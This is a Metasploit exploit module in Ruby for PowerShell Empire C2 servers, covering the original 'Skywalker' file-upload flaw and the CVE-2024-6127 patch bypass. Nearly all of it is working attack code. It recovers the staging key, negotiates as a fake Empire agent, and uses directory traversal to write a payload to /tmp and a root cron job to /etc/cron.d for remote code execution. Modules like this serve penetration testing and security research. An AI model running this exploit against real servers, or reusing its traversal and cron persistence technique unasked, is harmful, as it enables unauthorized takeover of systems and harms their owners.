## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck GENERATOR = 2 PRIME = '0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A087'\ '98E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5C'\ 'B6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163'\ 'FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C3290'\ '5E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D'\ '2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3'\ '970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A645'\ '21F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A9210801'\ '1A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF'\ '92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD76217048'\ '1CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB260264'\ '6DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B'\ '14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D17'\ '21D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF'\ '585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8'\ 'A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E'\ '6DCC4024FFFFFFFFFFFFFFFF'.to_i(16) STAGE0 = 1 STAGE1 = 2 STAGE2 = 3 RESULT_POST = 5 TASK_DOWNLOAD = 41 def initialize(info = {}) super( update_info( info, 'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)', 'Description' => %q{ A vulnerability existed in the new Empire (maintained by BC Security) prior to commit e73e883 ( [ 'Spencer McIntyre', # Vulnerability discovery & original Metasploit module 'Erik Daguerre', # Original Metasploit module 'ACE-Responder', # Patch bypass discovery & Python PoC 'Takahiro Yokoyama' # Update Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-6127'], # patch bypass ['URL', 'https://blog.harmj0y.net/empire/empire-fails/'], # original http://www.harmj0y.net/blog/empire/empire-fails/ is not found. ['URL', 'https://aceresponder.com/blog/exploiting-empire-c2-framework'], # patch bypass ['URL', 'https://github.com/ACE-Responder/Empire-C2-RCE-PoC/tree/main'] # patch bypass ], 'Payload' => { 'DisableNops' => true }, 'Platform' => %w[linux python], 'Targets' => [ [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ] ], 'DefaultOptions' => { 'WfsDelay' => 75 }, 'DefaultTarget' => 0, 'DisclosureDate' => '2016-10-15', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(8080), # original OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]), OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]), OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]), OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]), # patch bypass OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2024-6127', ['CVE-2024-6127', 'Original']]), OptString.new('STAGE_PATH', [ true, 'The Empire\'s staging path, default is login/process.php', 'login/process.php' ]), OptString.new('AGENT', [ true, 'The Empire\'s communication profile agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko']) ] ) end def check @staging_key = get_staging_key return Exploit::CheckCode::Safe if @staging_key.nil? Exploit::CheckCode::Appears end def aes_encrypt(key, data, include_mac: false) cipher = OpenSSL::Cipher.new('aes-256-cbc') cipher.encrypt iv = cipher.random_iv cipher.key = key cipher.iv = iv data = iv + cipher.update(data) + cipher.final digest = OpenSSL::Digest.new('sha1') data << OpenSSL::HMAC.digest(digest, key, data) if include_mac data end def create_packet(res_id, data, counter = nil) data = Rex::Text.encode_base64(data) counter = Time.new.to_i if counter.nil? [ res_id, counter, data.length ].pack('VVV') + data end def reversal_key # reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016) [ [ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d], [ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29], [ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a], [ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24] ] end def rsa_encode_int(value) encoded = [] while value > 0 encoded << (value & 0xff) value >>= 8 end Rex::Text.encode_base64(encoded.reverse.pack('C*')) end def rsa_key_to_xml(rsa_key) rsa_key_xml = "\n" rsa_key_xml << " #{rsa_encode_int(rsa_key.e.to_i)}\n" rsa_key_xml << " #{rsa_encode_int(rsa_key.n.to_i)}\n" rsa_key_xml << '' rsa_key_xml end def get_staging_key # patch bypass if datastore['CVE'] == 'CVE-2024-6127' res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'download/python/') }) return unless res && res.code == 200 match = /IV\+'(.*)'\.encode/.match(res.body) return match[1].bytes if match return end # STAGE0_URI resource requested by the initial launcher # The default STAGE0_URI resource is index.asp # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI']) }) return unless res && res.code == 200 @staging_key = Array.new(32, nil) staging_data = res.body.bytes reversal_key.each_with_index do |(pos, char_code), key_pos| @staging_key[key_pos] = staging_data[pos] ^ char_code end return if @staging_key.include? nil # at this point the staging key should have been fully recovered but # we'll verify it by attempting to decrypt the header of the stage decrypted = [] staging_data[0..23].each_with_index do |byte, pos| decrypted << (byte ^ @staging_key[pos]) end return unless decrypted.pack('C*').downcase == 'function start-negotiate' @staging_key end def write_file(path, data, session_id, session_key, server_epoch) if datastore['CVE'] == 'CVE-2024-6127' write_file_cve_2024_6127(path, data, session_id, session_key) return end # target_url.path default traffic profile for empire agent communication # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50 data = create_packet( TASK_DOWNLOAD, [ '0', session_id + path, Rex::Text.encode_base64(data) ].join('|'), server_epoch ) if datastore['PROFILE'].blank? profile_uri = normalize_uri(target_uri.path, %w[admin/get.php news.asp login/process.jsp].sample) else profile_uri = normalize_uri(target_uri.path, datastore['PROFILE']) end res = send_request_cgi({ 'cookie' => "SESSIONID=#{session_id}", 'data' => aes_encrypt(session_key, data, include_mac: true), 'method' => 'POST', 'uri' => normalize_uri(profile_uri) }) fail_with(Failure::Unknown, 'Failed to write file') unless res && res.code == 200 res end def cron_file(command) cron_file = 'SHELL=/bin/sh' cron_file << "\n" cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin' cron_file << "\n" cron_file << "* * * * * root #{command}" cron_file << "\n" cron_file end def exploit vprint_status('Recovering the staging key...') @staging_key ||= get_staging_key if @staging_key.nil? fail_with(Failure::Unknown, 'Failed to recover the staging key') end vprint_good("Successfully recovered the staging key: #{@staging_key.map { |b| b.to_s(16) }.join(':')}") @staging_key = @staging_key.pack('C*') case datastore['CVE'] when 'CVE-2024-6127' # stage0 # This stage is unnecessary for our purposes. session_id = SecureRandom.alphanumeric(8).upcase dummy = SecureRandom.alphanumeric(8) send_data_to_stage(@staging_key, dummy, STAGE0, session_id) # stage1 dh = OpenSSL::PKey::DH.new( OpenSSL::ASN1::Sequence([ OpenSSL::ASN1::Integer(PRIME), OpenSSL::ASN1::Integer(GENERATOR) ]).to_der ) if OpenSSL::PKey.respond_to?(:generate_key) dh = OpenSSL::PKey.generate_key(dh) else dh.generate_key! end private_key = dh.priv_key.to_i public_key = dh.pub_key.to_s res = send_data_to_stage(@staging_key, public_key, STAGE1, session_id) fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res && res.code == 200 vprint_good('Successfully sent the key to STAGE1') # decrypt the response and pull out the epoch and session_key packet = aes_decrypt(@staging_key, res.body) nonce = packet[..15].to_i server_pub = packet[16..].to_i shared_secret = server_pub.pow(private_key, PRIME) # https://github.com/BC-SECURITY/Empire/blob/8aca42747da6cf2b0def7edede94586f6b3258e8/empire/server/common/encryption.py#L373 # _sharedSecretBytes = self.sharedSecret.to_bytes( # len(bin(self.sharedSecret)) - 2 // 8 + 1, byteorder="big" # ) # 2(0b) + 1(- 2 // 8 + 1) = 3 shared_secret = to_bytes(shared_secret, shared_secret.to_s(2).length + 3) sha = OpenSSL::Digest.new('sha256') sha.update(shared_secret) session_key = sha.digest print_good('Successfully negotiated an artificial Empire agent') # stage2 sysinfo = "#{nonce + 1}|#{datastore['RHOSTS']}:#{datastore['RPORT']}||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64".encode('UTF-8') res = send_data_to_stage(session_key, sysinfo, STAGE2, session_id) fail_with(Failure::Unknown, 'Failed to communicate with STAGE2') unless res && res.code == 200 aes_decrypt(session_key, res.body) server_epoch = nil log_path = "/var/lib/powershell-empire/empire/server/downloads/#{session_id}/agent.log" else rsa_key = OpenSSL::PKey::RSA.new(2048) session_id = Array.new(50, '..').join('/') # STAGE1_URI, The resource used by the RSA key post # The default STAGE1_URI resource is index.jsp # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37 res = send_request_cgi({ 'cookie' => "SESSIONID=#{session_id}", 'data' => aes_encrypt(@staging_key, rsa_key_to_xml(rsa_key)), 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI']) }) fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res && res.code == 200 vprint_good('Successfully sent the RSA key') # decrypt the response and pull out the epoch and session_key body = rsa_key.private_decrypt(res.body) server_epoch = body[0..9].to_i session_key = body[10..] print_good('Successfully negotiated an artificial Empire agent') log_path = '/agent.log' end payload_data = nil payload_path = '/tmp/' + rand_text_alpha(8) case target['Arch'] when ARCH_PYTHON cron_command = "python #{payload_path}" payload_data = payload.raw when ARCH_X86, ARCH_X64 cron_command = "chmod +x #{payload_path} && #{payload_path}" payload_data = payload.encoded_exe end print_status("Writing payload to #{payload_path}") write_file(payload_path, payload_data, session_id, session_key, server_epoch) cron_path = '/etc/cron.d/' + rand_text_alpha(8) print_status("Writing cron job to #{cron_path}") write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch) print_status('Waiting for cron job to run, can take up to 60 seconds') register_files_for_cleanup(cron_path) register_files_for_cleanup(payload_path) # Empire writes to a log file location based on the Session ID, so when # exploiting this vulnerability that file ends up in the root directory. register_files_for_cleanup(log_path) end def build_routing_packet(meta = 0, enc_data = ''.b, session_id = '00000000') data = session_id + [2, meta, 0, enc_data.bytes.length].pack('C2SL') rc4_iv = SecureRandom.random_bytes(4) key = rc4_iv + @staging_key rc4_enc_data = Rex::Crypto.rc4(key, data) rc4_iv + rc4_enc_data + enc_data end def aes_encrypt_then_hmac(key, data) data = aes_encrypt(key, data) mac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, data) data + mac[..9] end def aes_decrypt(key, data) mac = data[-10..] sha256_digest = OpenSSL::Digest.new('sha256') expected = OpenSSL::HMAC.digest(sha256_digest, key, data[..-11])[..9] unless OpenSSL::HMAC.digest(sha256_digest, key, mac) == OpenSSL::HMAC.digest(sha256_digest, key, expected) raise 'Invalid ciphertext received.' end size = key.length * 8 fail_with(Failure::Unknown, 'AES key width must be 128 or 256 bits') unless size == 128 || size == 256 # Create the required cipher instance aes = OpenSSL::Cipher.new("AES-#{size}-CBC") # Generate a truly random IV # set up the encryption aes.decrypt aes.key = key aes.iv = data[..15] # decrypt! aes.update(data[16..-11]) + aes.final end def compress(data) start_crc32 = Zlib.crc32(data) & 0xFFFFFFFF comp_data = Zlib::Deflate.deflate(data) Base64.strict_encode64([start_crc32].pack('N') + comp_data) end def build_response_packet(tasking_id, packet_data) packet_type = [tasking_id].pack('S') total_packet = [1].pack('S') packet_num = [1].pack('S') result_id = [1].pack('S') packet_data = Base64.strict_encode64(packet_data) if packet_data.length % 4 != 0 packet_data += '=' * (4 - packet_data.length % 4) end length = [packet_data.length].pack('L') packet_type + total_packet + packet_num + result_id + length + packet_data end def to_bytes(num, length = 1, little_endian: false) order = little_endian ? (0...length) : (0...length).to_a.reverse bytes_array = order.map { |i| (num >> i * 8) & 0xff } bytes_array.pack('C*') end def write_file_cve_2024_6127(path, data, session_id, session_key) path = path.split('/').join('\\') packet = build_response_packet( TASK_DOWNLOAD, [ '0', Array.new(50, '..').join('\\') + path, data.length.to_s, compress(data) ].join('|') ) send_data_to_stage(session_key, packet, RESULT_POST, session_id) end def send_data_to_stage(session_key, packet, task_id, session_id) enc_packet = aes_encrypt_then_hmac(session_key, packet) data = build_routing_packet(task_id, enc_packet, session_id) res = send_request_cgi({ 'data' => data, 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']), 'headers' => { 'Cookie' => datastore['AGENT'] } }) res end end